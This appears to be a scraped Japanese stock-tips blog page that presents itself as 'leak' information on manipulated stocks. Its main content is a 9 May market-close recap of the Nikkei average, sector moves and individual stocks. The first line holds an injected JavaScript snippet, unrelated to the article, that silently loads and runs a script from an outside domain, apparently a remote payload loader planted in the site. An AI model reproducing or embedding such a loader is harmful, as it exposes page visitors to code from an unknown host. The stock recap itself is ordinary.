;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/9 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【5/9 大引け】

本日の日経平均株価は109円高と7営業日ぶり反発。先週末の米株高や円安背景に買いが優勢。直近の下落幅の大きさなどから値頃感なども意識された。ただ、買い一巡後は手掛かり材料難や、決算ピークを迎えることもあり積極的に上値を追う動きにはならず、手控えムードとなった。出来高は20億割れ、売買代金は1.73兆と今年最低を記憶した。業種別では、値上がり上位に小売業、不動産業、水産農林業など。一方で、鉄鋼、精密機器、海運業などが値下がり上位となった。

個別では、【6032】インターワークス。後場寄りに決算発表。17.3期通期の連結営業利益が9.6億円(前期比20.7%増)になるとの予想を好感され急伸、後場ストップ高。また、16年3月期決算発表を好感された【6908】イリソ電子。ブロックチェーンのeコマースへの応用で第1段階の検証完了したと発表【3690】ロックオンなどもストップ高となった。その他、インバウンド関連の【8423】アクリーティブ。正午の決算発表受け一段高。第一四半期決算好感の【6269】三井海洋開発も大幅高となった。一方で、羽田地盤改良工事でのデータ改ざんが伝わった【1885】東亜建設工業が大幅安となった。

売買代金は今年最低もテーマ株や決算などを受けての個別物色への意欲は旺盛。日経平均は下値1万6000円台を維持しつつ底堅く推移する展開を期待しつつ狙いへやはり新興のテーマ株など中心に。今日の強さをみていると新興バブルももうしばらくは続きそうな勢いに見えた。